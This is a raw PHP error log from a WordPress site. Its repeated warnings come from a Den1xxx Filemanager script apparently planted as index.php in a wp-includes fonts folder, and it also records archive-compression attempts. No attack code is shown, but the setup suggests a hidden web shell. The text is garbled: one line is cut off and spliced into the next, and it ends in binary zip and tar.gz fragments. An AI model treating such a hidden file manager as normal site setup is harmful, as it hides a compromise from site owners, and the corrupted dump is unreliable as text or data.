/home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:19:44 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:19:54 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:19:54 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be fou[30-Aug-2025 23:20:20 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:20:20 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:20:27 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:20:27 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:20:27 UTC] PHP Fatal error: Uncaught BadMethodCallException: phar "/home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php:1118 Stack trace: #0 /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php(1118): PharData->compress(4096, 'php.tar.gz') #1 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 1118 [30-Aug-2025 23:20:33 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:20:33 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:20:39 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:20:39 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:20:44 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:20:44 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:20:44 UTC] PHP Warning: fileperms(): stat failed for /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/error_log.tar.gz in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 137 [30-Aug-2025 23:20:48 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:20:48 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:20:52 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:20:52 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:21:19 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:21:19 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:21:29 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:21:29 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:30:13 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:30:18 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:32:48 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:32:53 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:33:11 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:33:11 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:33:58 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:34:03 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:34:48 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:34:53 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:35:29 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:35:35 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:35:42 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:35:47 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:36:24 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:36:29 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:36:40 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:36:40 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:36:48 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:36:53 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:37:07 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:37:07 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:37:09 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:37:09 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:37:11 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:37:11 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:37:12 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:37:12 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:37:32 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:37:37 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:37:54 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:37:54 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:38:31 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:38:36 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:38:37 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:38:37 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:38:47 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:38:47 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:43:36 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:43:41 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:44:09 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:44:09 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:45:24 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:45:29 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:46:14 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:46:19 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:47:30 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:47:35 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:50:12 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:50:17 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:50:51 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:50:56 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:51:30 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:51:35 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:51:51 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:51:57 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:51:58 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:51:58 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:51:59 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:51:59 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:52:12 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:52:12 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:52:17 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:52:17 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:52:53 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:52:58 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:53:02 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:53:07 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:53:07 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:53:07 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:53:09 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:53:09 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:53:11 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:53:11 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:53:13 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:53:13 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:53:15 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:53:15 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:53:16 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:53:22 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:53:22 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:53:22 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:53:23 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:53:23 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:53:25 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:53:25 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:53:26 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:53:26 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:53:27 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:53:27 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:53:28 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:53:28 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:53:40 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:53:45 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:53:58 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:54:03 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:54:12 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:54:18 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:56:58 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:57:03 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 PK#[ ova/ova.zipnu[PK[,dashicons.eot.eot.tar.gznu[ `U0W5sLKS3#zߖs=^+Y=d3I6GX$$B 